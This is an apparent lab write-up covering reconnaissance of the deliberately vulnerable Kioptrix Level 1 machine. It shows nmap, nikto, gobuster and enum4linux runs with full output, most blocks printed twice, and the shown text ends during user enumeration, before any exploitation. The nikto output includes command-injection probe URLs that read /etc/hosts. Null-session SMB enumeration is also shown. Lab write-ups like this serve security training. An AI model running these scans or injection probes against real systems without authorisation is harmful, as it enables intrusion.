July 28, 2026
Kioptrix Level 1 From Enumeration To Root
How are you? Today we’re going to destroy an old system, the Kioptrix machine. Let’s not talk too much, let’s get started.
By Mohamed Sameh
20 min read
Here we'll make sure we're connected to the machine:
host → nat machine → nat Use the command
netdiscover <IP>netdiscover <IP>to perform reconnaissance on our network. Then we'll use nmap to see the target and open ports.
Next, we use nmap with the flag -sv to see the version.
┌─[bughunter@parrot]─[~]
└──╼ $nmap -sC -sV 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 02:57 MDT
Nmap scan report for 192.168.159.129
Host is up (0.71s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
|_ Potentially risky methods: TRACE
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2026-07-28T05:59:27+00:00; -2h58m10s from scanner time.
|_http-title: 400 Bad Request
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
1024/tcp open status 1 (RPC #100024)
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: -2h58m10s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.18 seconds┌─[bughunter@parrot]─[~]
└──╼ $nmap -sC -sV 192.168.159.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-28 02:57 MDT
Nmap scan report for 192.168.159.129
Host is up (0.71s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
|_ Potentially risky methods: TRACE
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2026-07-28T05:59:27+00:00; -2h58m10s from scanner time.
|_http-title: 400 Bad Request
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
1024/tcp open status 1 (RPC #100024)
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: -2h58m10s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.18 secondsSo we have here
Target:
192.168.159.129
OS:
Red Hat Linux
Open Ports:
22 SSH
80 HTTP
111 RPC
139 SMB
443 HTTPS
Interesting Services:
- Apache 1.3.20
- OpenSSL 0.9.6b
- Samba 2.2.1aTarget:
192.168.159.129
OS:
Red Hat Linux
Open Ports:
22 SSH
80 HTTP
111 RPC
139 SMB
443 HTTPS
Interesting Services:
- Apache 1.3.20
- OpenSSL 0.9.6b
- Samba 2.2.1aHere we see many possibilities for compromised services; they may be
Apache 1.3.20
mod_ssl 2.8.4
OpenSSL 0.9.6bApache 1.3.20
mod_ssl 2.8.4
OpenSSL 0.9.6bAnd it might be in Samba or RPCinfo that NFS is present.
Therefore, we start by searching further to see if there is a well-known CVE.
┌─[bughunter@parrot]─[~]
└──╼ $nikto -h 192.168.159.129
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.159.129
+ Target Hostname: 192.168.159.129
+ Target Port: 80
+ Start Time: 2026-07-28 03:02:28 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 21:12:46 2001. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Apache is vulnerable to XSS via the Expect header. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version).
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution.
+ Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system.
+ Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
+ /manual/: Directory indexing found.
+ /manual/: Web server manual found.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /test.php: This might be interesting.
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8908 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2026-07-28 03:02:53 (GMT-6) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested┌─[bughunter@parrot]─[~]
└──╼ $nikto -h 192.168.159.129
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.159.129
+ Target Hostname: 192.168.159.129
+ Target Port: 80
+ Start Time: 2026-07-28 03:02:28 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ /: Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 21:12:46 2001. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Apache is vulnerable to XSS via the Expect header. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.9.6) (may depend on server version).
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution.
+ Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system.
+ Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
+ /manual/: Directory indexing found.
+ /manual/: Web server manual found.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /test.php: This might be interesting.
+ /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /wordpress/wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.
+ /shell?cat+/etc/hosts: A backdoor was identified.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8908 requests: 0 error(s) and 30 item(s) reported on remote host
+ End Time: 2026-07-28 03:02:53 (GMT-6) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedWe found some CVEs : CVE-2003-1418, CVE-2006–3918, CVE-2001-0835
CVE-2003–1418 is an information disclosure vulnerability in Apache web servers caused by the default
ETagheader configuration.
It allows remote attackers to obtain sensitive system details — specifically inode numbers — which exposes information about the server's internal filesystem structure.
CVE-2006–3918 is a Cross-Site Scripting (XSS) vulnerability in Apache HTTP Server.
It occurs because the server fails to sanitize user input in the
Expectrequest header when reflecting it in error messages, allowing attackers to execute malicious scripts in a user's browser.
CVE-2001–0835 is a Cross-Site Scripting (XSS) vulnerability in the Webalizer log analysis program (versions prior to 2.01–09).
It allows remote attackers to execute arbitrary HTML or JavaScript code in a user's browser by injecting malicious scripts into HTTP request logs.
Nikto reported several outdated components,
but no direct remote code execution vulnerability was found.
Sometimes there are false positive results.
Let's look at the webpage
http://192.168.159.129
We use GoBuster to see hidden paths
┌─[✗]─[bughunter@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.159.129/ -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.159.129/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/~root (Status: 403) [Size: 269]
/~operator (Status: 403) [Size: 273]
/~root (Status: 403) [Size: 269]
/~operator (Status: 403) [Size: 273]
/~root (Status: 403) [Size: 269]
/~harold (Status: 403) [Size: 271]
/~john (Status: 403) [Size: 269]
Progress: 8930 / 8931 (99.99%)
===============================================================
Finished
===============================================================
─[bughunter@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.159.129/ -w /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.159.129/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/~john (Status: 403) [Size: 269]
Progress: 10355 / 10356 (99.99%)
===============================================================
Finished
===============================================================
┌─[✗]─[bughunter@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.159.129/ -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.159.129/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/~root (Status: 403) [Size: 269]
/~operator (Status: 403) [Size: 273]
/~root (Status: 403) [Size: 269]
/~operator (Status: 403) [Size: 273]
/~root (Status: 403) [Size: 269]
/~harold (Status: 403) [Size: 271]
/~john (Status: 403) [Size: 269]
Progress: 8930 / 8931 (99.99%)
===============================================================
Finished
===============================================================
─[bughunter@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.159.129/ -w /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.159.129/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/~john (Status: 403) [Size: 269]
Progress: 10355 / 10356 (99.99%)
===============================================================
Finished
===============================================================
We use the enum4linux tool to perform comprehensive SMB Enumeration; to search for available SMB Shares, examine Password Policy, and enumerate Users & Groups by exploiting Null Sessions.
┌─[bughunter@parrot]─[~]
└──╼ $enum4linux 192.168.159.129
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 28 04:45:56 2026
=========================================( Target Information )=========================================
Target ........... 192.168.159.129
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
==========================( Enumerating Workgroup/Domain on 192.168.159.129 )==========================
[+] Got domain/workgroup name: MYGROUP
==============================( Nbtstat Information for 192.168.159.129 )==============================
Looking up status of 192.168.159.129
KIOPTRIX <00> - B <ACTIVE> Workstation Service
KIOPTRIX <03> - B <ACTIVE> Messenger Service
KIOPTRIX <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
MYGROUP <1d> - B <ACTIVE> Master Browser
MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.159.129 )==================================
[+] Server 192.168.159.129 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.159.129 )===============================
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=================================( OS information on 192.168.159.129 )=================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.159.129 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
======================================( Users on 192.168.159.129 )======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
================================( Share Enumeration on 192.168.159.129 )================================
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.159.129
[E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.159.129/IPC$ Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
//192.168.159.129/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A
==========================( Password Policy Information for 192.168.159.129 )==========================
[E] Unexpected error from polenum:
[+] Attaching to 192.168.159.129 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: SMB SessionError: 0x5
[+] Trying protocol 445/SMB...
[!] Protocol failed: [Errno Connection error (192.168.159.129:445)] [Errno 111] Connection refused
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 0
=====================================( Groups on 192.168.159.129 )=====================================
[+] Getting builtin groups:
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Power Users] rid:[0x223]
group:[Account Operators] rid:[0x224]
group:[System Operators] rid:[0x225]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
[+] Getting builtin group memberships:
Group: Administrators' (RID: 544) has member: Couldn't find group Administrators
Group: Replicator' (RID: 552) has member: Couldn't find group Replicator
Group: Account Operators' (RID: 548) has member: Couldn't find group Account Operators
Group: Print Operators' (RID: 550) has member: Couldn't find group Print Operators
Group: Users' (RID: 545) has member: Couldn't find group Users
Group: Guests' (RID: 546) has member: Couldn't find group Guests
Group: System Operators' (RID: 549) has member: Couldn't find group System Operators
Group: Backup Operators' (RID: 551) has member: Couldn't find group Backup Operators
Group: Power Users' (RID: 547) has member: Couldn't find group Power Users
[+] Getting local groups:
group:[sys] rid:[0x3ef]
group:[tty] rid:[0x3f3]
group:[disk] rid:[0x3f5]
group:[mem] rid:[0x3f9]
group:[kmem] rid:[0x3fb]
group:[wheel] rid:[0x3fd]
group:[man] rid:[0x407]
group:[dip] rid:[0x439]
group:[lock] rid:[0x455]
group:[users] rid:[0x4b1]
group:[slocate] rid:[0x413]
group:[floppy] rid:[0x40f]
group:[utmp] rid:[0x415]
[+] Getting local group memberships:
[+] Getting domain groups:
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
[+] Getting domain group memberships:
Group: 'Domain Users' (RID: 513) has member: Couldn't find group Domain Users
Group: 'Domain Admins' (RID: 512) has member: Couldn't find group Domain Admins
=================( Users on 192.168.159.129 via RID cycling (RIDS: 500-550,1000-1050) )=================
[I] Found new SID:
S-1-5-21-4157223341-3243572438-1405127623
[+] Enumerating users using SID S-1-5-21-4157223341-3243572438-1405127623 and logon username '', password ''
S-1-5-21-4157223341-3243572438-1405127623-502 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-503 KIOPTRIX\unix_group.2147483399 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-504 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-505 KIOPTRIX\unix_group.2147483400 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-506 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-507 KIOPTRIX\unix_group.2147483401 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-508 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-509 KIOPTRIX\unix_group.2147483402 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-510 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-511 KIOPTRIX\unix_group.2147483403 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-512 KIOPTRIX\Domain Admins (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-513 KIOPTRIX\Domain Users (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-514 KIOPTRIX\Domain Guests (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-515 KIOPTRIX\unix_group.2147483405 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-516 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-517 KIOPTRIX\unix_group.2147483406 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-518 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-519 KIOPTRIX\unix_group.2147483407 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-520 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-521 KIOPTRIX\unix_group.2147483408 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-522 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-523 KIOPTRIX\unix_group.2147483409 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-524 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-525 KIOPTRIX\unix_group.2147483410 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-526 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-527 KIOPTRIX\unix_group.2147483411 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-528 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-529 KIOPTRIX\unix_group.2147483412 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-530 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-531 KIOPTRIX\unix_group.2147483413 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-532 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-533 KIOPTRIX\unix_group.2147483414 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-534 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-535 KIOPTRIX\unix_group.2147483415 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-536 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-537 KIOPTRIX\unix_group.2147483416 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-538 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-539 KIOPTRIX\unix_group.2147483417 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-540 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-541 KIOPTRIX\unix_group.2147483418 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-542 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-543 KIOPTRIX\unix_group.2147483419 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-544 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-545 KIOPTRIX\unix_group.2147483420 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-546 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-547 KIOPTRIX\unix_group.2147483421 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-548 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-549 KIOPTRIX\unix_group.2147483422 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-550 KIOPTRIX\unix_group.2147483423 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1000 KIOPTRIX\root (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1001 KIOPTRIX\root (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1002 KIOPTRIX\bin (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1003 KIOPTRIX\bin (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1004 KIOPTRIX\daemon (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1005 KIOPTRIX\daemon (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1006 KIOPTRIX\adm (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1007 KIOPTRIX\sys (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1008 KIOPTRIX\lp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1009 KIOPTRIX\adm (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1010 KIOPTRIX\sync (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1011 KIOPTRIX\tty (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1012 KIOPTRIX\shutdown (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1013 KIOPTRIX\disk (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1014 KIOPTRIX\halt (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1015 KIOPTRIX\lp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1016 KIOPTRIX\mail (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1017 KIOPTRIX\mem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1018 KIOPTRIX\news (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1019 KIOPTRIX\kmem (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1020 KIOPTRIX\uucp (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1021 KIOPTRIX\wheel (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1022 KIOPTRIX\operator (Local User)
